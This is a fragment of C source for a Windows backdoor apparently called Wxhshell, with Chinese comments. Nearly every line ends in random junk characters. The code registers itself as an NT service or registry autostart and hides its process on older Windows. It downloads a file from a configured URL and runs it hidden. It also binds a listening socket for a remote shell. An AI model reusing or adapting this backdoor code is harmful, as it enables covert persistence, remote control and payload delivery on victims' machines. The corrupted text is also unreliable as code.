DWORD PebBaseAddress; =S\^j"
DWORD AffinityMask; hN~H8.g
DWORD BasePriority; Tx]p4wY:D
ULONG UniqueProcessId; w{|`F>f9
ULONG InheritedFromUniqueProcessId; b9"t%R9/Q
} PROCESS_BASIC_INFORMATION; UNF\k1[
WVhQ?2@ }
PROCNTQSIP NtQueryInformationProcess; !Ur.b
@ke
"
DLIx}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5c(g7N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m.
p'LF
54JZOtC3~
HANDLE hProcess; ^#mWV
PROCESS_BASIC_INFORMATION pbi; US3)+6
9N{?J"ido
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ],[<^=|
if(NULL == hInst ) return 0; ujkWVE'
qV idtSb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ S[As~9X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0^nF: F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uDkX{<_Xe
4lpcJ+:o
if (!NtQueryInformationProcess) return 0; Lu:*nJ%1[
wB'!@>db
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P0(LdZH6u
if(!hProcess) return 0; E>i<2
iAk.pH]a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9`
UbsxFl
)8rF'pxI
CloseHandle(hProcess); o _l_Yi
3 yb]d5:U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M%Rr=
if(hProcess==NULL) return 0; zh0T3U0D
>o{JG(Rn
HMODULE hMod; F[%k;aJ
char procName[255]; \P9ms?((A
unsigned long cbNeeded; `''y,{Fs
}uC]o@/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3.hFYA w
Ayg^<)JWh
CloseHandle(hProcess); SCe$v76p#
b=\chCRJJ
if(strstr(procName,"services")) return 1; // 以服务启动 WQ8 "Jj?k6
WFV'^-4
return 0; // 注册表启动 *` wz
} ,%N[FZ`|
xP9h$!
// 主模块 febn?|@
int StartWxhshell(LPSTR lpCmdLine) u/S>*E
{ Sy1O;RTn`
SOCKET wsl; SiaW; ks
BOOL val=TRUE; /5"T46jD
int port=0; .K(9=yh
struct sockaddr_in door; vY|YqWt
yEbo`/ ]b
if(wscfg.ws_autoins) Install(); "u^vBd[}
.U@u |
port=atoi(lpCmdLine); DCZG'eb
Y/I)ECm
if(port<=0) port=wscfg.ws_port; cLwnV.
@R%qP>_
WSADATA data; -P|claO0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sew*0S(
7}~w9jK"F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Br}@Vvq@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jq(;BJ90R
door.sin_family = AF_INET; X<C fy
door.sin_addr.s_addr = inet_addr("127.0.0.1"); SpU|Q1Q/h
door.sin_port = htons(port); k[D,du')
] dJ"_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |94o P>d
closesocket(wsl); Pp8G2|bz
return 1; 0&I*)Zt9x
} .*9u_2<
qWWt5rJ
if(listen(wsl,2) == INVALID_SOCKET) { j\bp#+
closesocket(wsl); =. \hCgq
return 1; Kx)PK
} ]>Z9K@
Wxhshell(wsl); 3T0-RP*
WSACleanup(); Il*!iX|23<
*w _ o8!3-
return 0; m>P\}A^N
-2[4 @
} <7rj,O1=
Z#Nw[>NN*
// 以NT服务方式启动 ]4[%Sv6]G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d|Wqx7t]P
{ =Hd#"9-
DWORD status = 0; sK+uwt
DWORD specificError = 0xfffffff; _Y&.Nw
(2>q
serviceStatus.dwServiceType = SERVICE_WIN32; F09%f"9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; L YB@L06a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $"|r7n5[
serviceStatus.dwWin32ExitCode = 0; SZ[?2z
serviceStatus.dwServiceSpecificExitCode = 0; =_C&lc"
serviceStatus.dwCheckPoint = 0; hR7uAk_?
serviceStatus.dwWaitHint = 0; -`\^_nVC
[fT$# '6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^Ld5<
if (hServiceStatusHandle==0) return; x X3I`
\rxjvV4fcZ
status = GetLastError(); ^(C4Q?[2m
if (status!=NO_ERROR) &a=rJvnIO&
{ XK/l1E3N
serviceStatus.dwCurrentState = SERVICE_STOPPED; "xTVu57Z[
serviceStatus.dwCheckPoint = 0; )mwwceN
serviceStatus.dwWaitHint = 0; <2 [vR|Q*
serviceStatus.dwWin32ExitCode = status; ~?aFc)
serviceStatus.dwServiceSpecificExitCode = specificError;
A~nqSe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P,)D0i
return; ey[Z<i1
} _wb]tE ~g
l#^?sbG
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'R-\6;3E>9
serviceStatus.dwCheckPoint = 0; `~=z0I
serviceStatus.dwWaitHint = 0; WUz69o be
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NnHaHX
} }1k?t h
d-Z2-89K
// 处理NT服务事件,比如:启动、停止 "k @[7
7
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pi?G:IF
{ svEe@Kt`
switch(fdwControl) ?32~%?m
{ 1DAU*^-
case SERVICE_CONTROL_STOP: *`w>\},su
serviceStatus.dwWin32ExitCode = 0; K O\HH
serviceStatus.dwCurrentState = SERVICE_STOPPED; +l)t5Mg\
serviceStatus.dwCheckPoint = 0; c\rP
-"C
serviceStatus.dwWaitHint = 0; }UGSE2^1
{ 4<UAT|L^`
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
qCrpc=
} &53,8r
return; T>(X`(
case SERVICE_CONTROL_PAUSE: v8 =#1YB;
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,GVX1B?
break; l%mp49<
case SERVICE_CONTROL_CONTINUE: xL.m<XDL
serviceStatus.dwCurrentState = SERVICE_RUNNING; #Ox@[Z1I
break; r7_%t_O|IL
case SERVICE_CONTROL_INTERROGATE: $X Uck[
break; \Q}Y"oq
}; U.~G{H`G,u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FywX
} u5rvrn ]
DN=W2MEfc
// 标准应用程序主函数 =kwz3Wv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w$iPFZC'
{ :qj^RcmVPL
# =y)Wuo=
// 获取操作系统版本 ESoC7d&.K{
OsIsNt=GetOsVer(); tx<^PV2
GetModuleFileName(NULL,ExeFile,MAX_PATH); hVB(*WA^D
,Il) t H
// 从命令行安装 Q wG_-
if(strpbrk(lpCmdLine,"iI")) Install(); ZEDvY=@a
LD?\gK"
// 下载执行文件 #Pd__NV"\
if(wscfg.ws_downexe) { 7\g#'#K
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jf;n*
WinExec(wscfg.ws_filenam,SW_HIDE); S`b!sT-sD
} ;/4x.t#b
dB#c$1
if(!OsIsNt) { pO)EYla9
// 如果时win9x,隐藏进程并且设置为注册表启动 "eTALRL'o
HideProc(); cjGN=|`u
StartWxhshell(lpCmdLine); %4M,f.[e
} DS%]7,g]
else O[U`(A:
if(StartFromService()) 5({_2meJ:
// 以服务方式启动 X8*~Cf73u
StartServiceCtrlDispatcher(DispatchTable);
H6nH
else Y$,~"$su|
// 普通方式启动 W-r^ME
StartWxhshell(lpCmdLine); ~cO iv
q!U$\Q&
return 0; 5cA:;{z];g
}